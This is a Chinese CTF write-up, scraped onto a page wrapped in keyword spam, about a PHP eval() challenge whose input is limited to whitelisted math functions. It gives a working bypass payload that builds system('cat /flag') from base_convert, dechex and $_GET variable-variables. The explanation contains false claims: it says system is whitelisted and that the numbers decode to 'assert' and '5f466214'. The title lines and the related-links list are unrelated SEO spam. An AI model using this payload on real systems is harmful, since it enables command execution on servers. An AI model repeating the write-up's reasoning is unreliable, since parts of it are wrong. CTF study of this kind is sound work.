当前位置: 首页 > wzjs >正文

开封网站网站建设台湾新闻最新消息今天

开封网站网站建设,台湾新闻最新消息今天,做网站哪家公司比较好而且不贵,乌鲁木齐今天最新消息进入题目页面如下 进行代码审计 <?php //关闭所有错误报告&#xff0c;防止错误信息泄露给用户 error_reporting(0); //检查是否通过 GET 请求传入了参数 c if(!isset($_GET[c])){// 如果没有传入 c 参数&#xff0c;显示当前 PHP 文件的源代码show_source(__FILE__); }el…

进入题目页面如下

进行代码审计

<?php
//关闭所有错误报告,防止错误信息泄露给用户
error_reporting(0);
//检查是否通过 GET 请求传入了参数 'c'
if(!isset($_GET['c'])){// 如果没有传入 'c' 参数,显示当前 PHP 文件的源代码show_source(__FILE__);
}else{//如果传入了 'c' 参数,将其值赋给变量 $content$content = $_GET['c'];//检查 $content 的长度是否大于等于 80if (strlen($content) >= 80) {// 如果长度超过限制,终止脚本并输出错误信息die("太长了不会算");}//定义一个黑名单数组,包含一些不允许输入的字符$blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]'];//遍历黑名单数组foreach ($blacklist as $blackitem) {//使用正则表达式检查 $content 中是否包含黑名单中的字符if (preg_match('/' . $blackitem . '/m', $content)) {// 如果包含,终止脚本并输出错误信息die("请不要输入奇奇怪怪的字符");}}//定义一个白名单数组,包含一些允许使用的数学函数$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];//使用正则表达式匹配 $content 中的所有函数名,并将结果存储在 $used_funcs 数组中preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);//遍历匹配到的函数名数组foreach ($used_funcs[0] as $func) {//检查函数名是否不在白名单中if (!in_array($func, $whitelist)) {// 如果不在白名单中,终止脚本并输出错误信息die("请不要输入奇奇怪怪的函数");}}//使用 eval 函数执行 $content 中的代码,并将结果输出eval('echo '.$content.';');
}

任意代码执行漏洞

代码使用 eval 函数执行用户通过 GET 请求传入的 c 参数的值。虽然代码对输入的长度、字符和函数进行了限制,但仍然可以利用白名单中的函数构造恶意代码来执行任意命令。

过滤机制

通过 strlen($content) >= 80 限制输入的长度,防止过长的输入

使用黑名单过滤了一些特殊字符,如空格、引号等

使用白名单过滤了允许使用的函数,只允许使用预定义的数学函数


利用白名单中的 system 函数

利用 base_convert 函数进行字符编码转换,构造出执行系统命令的代码

构造如下的 GET 请求

?c=system(base_convert(31415926535897932384626433832795,10,36))

其中 base_convert(31415926535897932384626433832795,10,36) 会将十进制数转换为三十六进制数,这个三十六进制数对应的字符串可以是 cat flag.txt

尝试错误再试试别的函数

构造命令

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是a,b都不是白名单里面的内容,需要替换

?c=($_GET[asin])($_GET[abs])&asin=system&abs=cat /flag

[]居然也被黑名单过滤了qyq


借助 base_convert 函数实现字符编码转换,同时通过变量覆盖的手段调用系统命令

绕过代码里对输入的长度、字符以及函数的限制,进而利用 eval 函数达成任意代码执行,最终获取 flag 文件

base_convert 函数的作用是把一个数字从一种进制转换为另一种进制。这里将十进制数 37907361743 转换为三十六进制。经过转换后得到的结果是 assert (37907361743 转换为三十六进制是 assert)

把 assert 作为函数名,将 5f466214 作为参数传入,也就是执行 assert('5f466214');

payload

/?c=$asin=base_convert(37907361743,10,36)(dechex(1598506324));($$asin){pi}(($$asin){abs})&asin=system&abs=cat /flag


最后得到flag

http://www.dtcms.com/wzjs/364697.html

相关文章:

  • 全国网站制作公司排名专业网站制作
  • 旅游网站设计与实现开题报告投放广告的网站
  • 做网站的公司网站没做好找谁投诉上海网站制作公司
  • 网站建设工作自查报告关联词有哪些
  • 给公司做网站这个工作怎么样最好用的搜索引擎排名
  • 郑州网站建设找智巢网页怎么制作
  • 商务网站建设流程步骤永州网络推广
  • 企业手机网站建设案例百度竞价渠道户
  • 网站怎么做长截图如何优化企业网站
  • 设计师万能导航网站北京网站建设公司优势
  • 怎么在本机做网站400个成品短视频
  • 重庆建设工程信息网官网查询系统网址搜索引擎营销优化的方法
  • 公司部门职位河南整站百度快照优化
  • 网站模版是什么意思免费隐私网站推广
  • 怎样提升网站关键词长沙网站建设
  • 关于未备案网站湖南网站优化
  • 怎么用服务器ip做网站网站推广的基本方法是
  • 百度网站建设如何网页制作软件dreamweaver
  • 做自动化设备哪个网站seo赚钱培训课程
  • 定制开发电商网站建设多少钱深圳seo排名
  • 网站维护升级访问关键词权重查询
  • 微信开店怎么注册开店流程上海seo推广公司
  • 百度广告搜索推广seo排名点击软件运营
  • 福州网站制作培训国内b2b十大平台排名
  • wex5网站开发怎么开网站
  • 中央广播电视总台主持人西安网站seo
  • 找人做网站做小程序基本营销策略有哪些
  • 怎么免费创建自己的网站最好的网站设计公司
  • 设计网页代码流程广州百度seo优化排名
  • wordpress 用户字段百度竞价seo排名